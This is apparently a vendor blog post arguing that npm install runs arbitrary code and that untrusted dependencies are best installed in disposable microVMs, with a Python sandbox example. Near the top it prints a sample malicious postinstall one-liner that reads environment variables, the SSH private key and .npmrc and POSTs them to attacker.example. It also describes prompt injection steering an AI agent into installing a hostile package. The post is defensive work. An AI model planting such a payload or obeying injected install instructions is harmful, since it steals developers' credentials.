Running npm install on untrusted code in a microVM
You clone a repo — a dependency an agent picked, a PR from a stranger, a starter template off the internet — and you run `npm install`. Feels like a download. It isn't. Before a single line of the app runs, before you `import` or `require` anything, npm has already executed arbitrary code from every package in the tree, chosen by whoever authored them. `npm install` is arbitrary code execution with a friendly progress bar. This post is about that gap: why installing untrusted JavaScript dependencies is code execution, why `--ignore-scripts` doesn't close it, and the microVM pattern that lets you install anything without betting your host on it.
I'm Ajay — I built PandaStack, a Firecracker microVM platform for exactly this kind of untrusted execution. I'll be concrete about the threat and honest about where flags and lockfiles help versus where you actually need an isolation boundary.
npm install is arbitrary code execution with a progress bar
The mental model that gets people hurt is "install downloads packages, my app runs them." Wrong on the first half. npm packages declare lifecycle scripts — `preinstall`, `install`, `postinstall`, `prepare` — that npm runs automatically during installation. They're plain shell commands in `package.json`, and they run as your user, with your environment, your network, and your credentials, the instant you type install. You never reach `node index.js`. There is nothing to review first, because the malicious behavior fires during the install.
{
"name": "innocent-looking-helper",
"version": "1.4.2",
"scripts": {
"postinstall": "node -e \"const fs=require('fs'),os=require('os'),https=require('https');const grab=p=>{try{return fs.readFileSync(p,'utf8')}catch(e){return''}};const loot=JSON.stringify({env:process.env,ssh:grab(os.homedir()+'/.ssh/id_rsa'),npmrc:grab(os.homedir()+'/.npmrc')});https.request('https://attacker.example/collect',{method:'POST'}).end(loot)\""
}
}That's the whole attack, and it's not exotic. The postinstall script slurps every environment variable (where your CI secrets, cloud tokens, and `NPM_TOKEN` live), your SSH private key, and your `.npmrc` (which often holds registry auth), then POSTs the lot to a server the author controls — all before `npm install` prints its success line. This is the shape of real npm supply-chain attacks: a package with a lifecycle script that exfiltrates credentials, published under a plausible name or slipped into a compromised legitimate package's next release.
- Lifecycle scripts — preinstall/install/postinstall/prepare are shell commands npm runs automatically. They can read files, shell out, and open sockets the moment you install.
- Compromised legitimate packages — a maintainer account gets phished or a token leaks, and a package you already trust ships a malicious new version with a fresh postinstall. Your lockfile pinned the old hash; a fresh install or an update pulls the new one.
- Transitive reach — you audited your one direct dependency; its 400 transitive dependencies each also get to run install-time code, and any one of them is enough.
- Import-time payloads — even with scripts disabled, the code runs whatever is at the top of its modules the instant you `require` it. If you're going to run the app, that's coming too.
Why --ignore-scripts is not enough
The obvious fix is `npm install --ignore-scripts`, which skips lifecycle scripts entirely. It's a genuinely good hygiene default and you should use it — but it is not a security boundary for untrusted code, for two reasons.
First, it breaks real installs. Plenty of legitimate packages have essential postinstall steps — native modules that compile bindings, tools that download a platform-specific binary, packages that build assets. With `--ignore-scripts` those don't run, so the package is installed-but-broken and you're back to selectively re-enabling scripts, which reopens the hole for exactly the packages you were worried about.
Second, and more fundamentally: disabling scripts only closes the install-time channel. The instant your application actually runs — and you did install this to run it — every dependency's top-level module code executes with your process's full privileges. A malicious package that can't run a postinstall just puts the same payload at the top of its main module and waits for the `require`. `--ignore-scripts` delays the code execution from install-time to run-time; it doesn't prevent it. If the dependency is genuinely untrusted, you still need a boundary around running it at all.
--ignore-scripts is a seatbelt, not a cage. It stops the dumbest version of the attack and every honest package's convenience feature. It does not contain code you've decided to run, because running it is the whole point.
Why an agent or a stranger's repo makes this sharply worse
A developer typing `npm install express` typed a name they meant. An LLM picks package names from a distribution over tokens, and will confidently install `expresss`, `crossenv`, or `node-fetch-utils` — names that don't exist as the library it wants, but that a typosquatter has absolutely registered on npm hoping for exactly this fat-fingered install. Registering a near-miss of a popular package and shipping a credential-stealing postinstall is a real, ongoing attack class on the npm registry.
It compounds under prompt injection. If your agent reads a README, a GitHub issue, or a tool result an attacker controls, that text can steer it toward "run `npm install helpful-cli` first." The model obliges, the install runs, the postinstall runs. Same story if your CI runs `npm install` on a contributor's pull request: the PR author chose the dependencies, and merging isn't required — the install on your runner already executed their lifecycle scripts against your CI secrets. You've turned a content channel or a PR into a code-execution channel, and the only thing between that and your host is whatever isolation wraps the install.
Why a shared-kernel container is a weak boundary here
The next instinct is "run the install in a container." Better than your host, and fine for code you trust — but for genuinely untrusted install-time code it's a soft boundary. A container shares the host kernel. The postinstall script runs as a normal process against that shared kernel, and a kernel bug or a container-escape primitive puts it on the host and, in a multi-tenant setup, into other tenants. That's not theoretical enough to ignore: AWS, Google, and others moved untrusted workloads off plain containers onto microVMs or gVisor precisely because a shared kernel is a large, attackable surface.
There's a second, more mundane failure that catches more people. CI containers are usually built with exactly the things an install script should never see — `NPM_TOKEN` and cloud credentials in the environment, the host's Docker socket bind-mounted in, cloud metadata at 169.254.169.254 reachable, an SSH agent forwarded. A malicious `postinstall` doesn't need a kernel exploit to ruin your day if it can just read a token that was sitting right there in `process.env`. The most common real-world leak is boring: ambient network plus an inherited secret, not an exotic escape.
The options, ranked for untrusted installs
Where you run an untrusted `npm install`, from least to most contained:
- Host npm (into your dev machine or CI runner) — no boundary at all. Lifecycle scripts run as you, see every secret in your environment, read your SSH keys and .npmrc. Never do this with dependencies you didn't choose and trust.
- Host npm with --ignore-scripts — closes the install-time script channel but not import-time execution, and breaks packages that legitimately need a postinstall. Good hygiene, not a boundary for untrusted code.
- A container — real process isolation and good hygiene, but a shared kernel and often ambient network/credentials (NPM_TOKEN, Docker socket, metadata endpoint). Fine for trusted builds; a soft boundary for untrusted install-time code.
- A disposable microVM — the install runs behind a hardware virtualization boundary with its own guest kernel, no host secrets present, and egress you control. If a package is hostile, the blast radius is one VM you were going to delete anyway.
The pattern: install inside a disposable microVM
The durable shape has four properties: a hardware isolation boundary (a microVM with its own kernel, not a shared one), an ephemeral environment (fresh per install, destroyed after, so nothing persists forward), no host credentials in the guest, and controlled egress so a package can't quietly exfiltrate. On PandaStack you get the first two by construction and enforce the rest per sandbox. Here's the loop with the Python SDK — create a throwaway VM on the `base` (Node-capable) template, write the untrusted `package.json` in, run the full `npm install` with its lifecycle scripts inside the guest, build the project, then pull the artifact back out and destroy the VM:
from pandastack import Sandbox
# An untrusted repo's package.json — an agent picked it, or it came in a PR.
# It may contain a hostile postinstall. We are going to run it anyway, safely.
manifest = """
{
"name": "untrusted-app",
"version": "0.0.0",
"dependencies": { "left-pad": "^1.3.0" },
"scripts": { "build": "node build.js" }
}
"""
# One disposable microVM for this install. ttl reaps it if we crash.
with Sandbox.create(template="base", ttl_seconds=600) as sbx:
sbx.filesystem.write("/workspace/package.json", manifest)
# `npm install` runs THIRD-PARTY LIFECYCLE SCRIPTS (postinstall etc.)
# right here, inside the guest kernel, with no host secrets in the
# environment and egress locked to the registry.
r = sbx.exec(
"cd /workspace && npm install --no-audit --no-fund",
timeout_seconds=180,
)
if r.exit_code != 0:
raise RuntimeError(f"install failed / blocked:\n{r.stderr}")
# Build the project (also third-party code) in the same contained VM.
b = sbx.exec("cd /workspace && npm run build", timeout_seconds=180)
print("build exit:", b.exit_code)
# Pull the built artifact back through the API, not a host mount.
bundle = sbx.filesystem.read("/workspace/dist/bundle.js")
with open("bundle.js", "wb") as f:
f.write(bundle)
print(f"pulled {len(bundle)} bytes")
# VM and everything the install did to it are gone hereIf any package in that tree had the hostile `postinstall` from earlier, here's what it found when it ran: no `~/.ssh/id_rsa`, no `.npmrc` with registry auth, no `NPM_TOKEN` or cloud credentials in `process.env`, no metadata endpoint reachable, and egress restricted so the exfil POST never leaves. Whatever it wrote to the filesystem dies when the `with` block exits. The worst case is a wasted sandbox — which is the whole point of making sandboxes cheap.
That cheapness is what makes per-install isolation practical rather than a nice idea. On PandaStack every create restores a baked snapshot on demand — p50 179ms, p99 ~203ms, with the snapshot-restore step itself around 49ms (a true first cold boot, before any snapshot exists, is ~3s). So spinning up a fresh VM just to run one sketchy `npm install` isn't a boot-time tax you avoid by reusing environments across trust domains; it's fast enough to do every time. If you want each install to start from an identical known-good base (with your registry config and Node version already set), snapshot a configured sandbox once and fork it — a same-host fork is 400–750ms (cross-host 1.2–3.5s) and shares memory copy-on-write. And there's plenty of address space to do this at scale: each agent pre-allocates 16,384 /30 subnets, so per-VM network isolation isn't the bottleneck.
Controlling egress so a package can't phone home
Isolation contains a compromised guest; egress control decides whether it can talk to the outside while contained. The tension is obvious: `npm install` needs to reach the registry, but a malicious lifecycle script wants to reach an attacker's server. You can't naively block all egress or the install fails. The workable posture is default-deny with a narrow allowlist for the registry, so the install resolves but the arbitrary code in a postinstall can't open a socket to somewhere you didn't sanction.
- Point npm at a registry you control (a private proxy or mirror) and allow egress only to that host — the install works, everything else is denied.
- Deny the cloud metadata endpoint (169.254.169.254) unconditionally; nothing an untrusted package installs has any business there.
- Keep the guest's outbound default-deny; open only what the build genuinely needs, per sandbox, and close it when the sandbox dies.
- Assume DNS is an exfil channel too — an allowlist that only names your registry shuts down cute tricks like encoding a stolen token into a lookup.
Extracting the build without trusting what built it
The point of the install was usually to produce something — a `node_modules` tree, a bundled `dist/`, a compiled binary. The safe way to get it out is through the filesystem API, not a shared host mount, so the untrusted install never had a writable path into your host in the first place. Have the build write a known output path, check the exit code, then `filesystem.read` the bytes back on the host side (as in the loop above). If you need the whole `node_modules`, `tar` it inside the guest and read the single archive out.
Treat the extracted artifact with appropriate suspicion, too: it was produced by code you didn't trust. If you're going to run that bundle in production, run it in another sandbox, not on a box with secrets. The microVM contained the install; it doesn't launder the output into something trustworthy. What it buys you is that the dangerous step — resolving and executing arbitrary third-party lifecycle scripts — happened somewhere disposable, and only inert bytes crossed back to you.
Better: don't install untrusted things live when you can avoid it
The safest untrusted install is the one you don't do at runtime. PandaStack's `base` template pre-warms Node 22 (alongside Python, Go, and Bun via mise), so the runtime is already there on a fresh VM with zero setup. For your own common dependencies, bake a custom template with `node_modules` already installed from a lockfile you audited, and skip the live install entirely for the packages you control. Most of the time the code reaches for something already present, no untrusted `npm install` fires, and there's no lifecycle script to worry about because you controlled what went into the image.
For the long tail — a repo whose dependencies genuinely aren't baked — you still fall back to the pattern above: install live, but inside the disposable, credential-free, egress-controlled VM, so the fallback is contained rather than dangerous. The two-tier posture — pre-baked for the common case, isolated live-install for the tail — is what lets you say yes to "the agent can install whatever the repo needs" without that being a synonym for "the agent can run whatever it's told, as you."
When is none of this necessary? If you fully control the lockfile and it isn't agent- or contributor-influenced, a committed, integrity-checked `npm ci` into a normal environment is fine — don't spin up a VM to install dependencies you chose and trust. The whole apparatus here is for the case that actually bites: a dependency tree that arrived at runtime, from a model or a stranger, possibly steered by an attacker. For that case, treat `npm install` as the hostile code execution it is, run it in a VM you're happy to throw away, and let the blast radius be a sandbox instead of your fleet.
Frequently asked questions
Does npm install actually run code, or just download packages?
It runs code. npm packages can declare lifecycle scripts — preinstall, install, postinstall, and prepare — that npm executes automatically during installation, as your user, with your environment, network, and credentials, before you ever run the app. A malicious postinstall can read your SSH keys, .npmrc, and environment tokens and exfiltrate them the moment you install. So `npm install` of an untrusted dependency tree is code execution, not a passive download, which is why isolating the install matters.
Isn't npm install --ignore-scripts enough to stay safe?
No. It's a good hygiene default that skips lifecycle scripts, but it's not a boundary for untrusted code. It breaks legitimate packages that need a postinstall (native builds, binary downloads), pushing you to re-enable scripts for exactly the packages you were worried about. And it only closes the install-time channel — the instant you actually run the app, every dependency's top-level module code executes with full privileges. --ignore-scripts delays execution from install-time to run-time; it doesn't prevent it. Genuinely untrusted dependencies still need an isolation boundary.
Why is it risky to let an agent or a PR trigger npm install?
Because whoever chose the dependencies chose code that runs at install time. An LLM picks package names probabilistically and will install typosquats that attackers register on npm for exactly this. Under prompt injection, attacker-controlled text can steer an agent into installing a specific malicious package. And CI that runs npm install on a contributor's pull request executes that contributor's lifecycle scripts against your CI secrets — no merge required. Assume any install triggered by untrusted input might run hostile code, and isolate it.
Isn't a Docker container enough to sandbox an untrusted npm install?
For trusted builds, usually. For genuinely untrusted lifecycle-script code it's a soft boundary: a container shares the host kernel, so a kernel bug or container escape can reach the host and other tenants, and CI containers often carry ambient network access and inherited credentials (NPM_TOKEN, a mounted Docker socket, cloud metadata) that a malicious postinstall can abuse. A hardware-isolated microVM with its own guest kernel, no host secrets, and controlled egress is the stronger backstop — which is why cloud providers moved untrusted workloads off plain containers.
How do I safely run npm install on untrusted code with PandaStack?
Create a disposable microVM (the Node-capable base template) with a ttl, write the untrusted package.json into the guest, run `npm install` inside it with a timeout, then build and read the artifact back through the filesystem API, and delete the sandbox. The guest has no host secrets, egress is default-deny with a narrow allowlist to your registry, and everything the install did dies with the VM. Because a create restores a baked snapshot in ~49ms (p50 179ms), a fresh VM per install is practical, and baking your audited dependencies into a template means most installs never run untrusted lifecycle scripts at all.
49ms p50 cold start. Fork, snapshot, and scale to zero.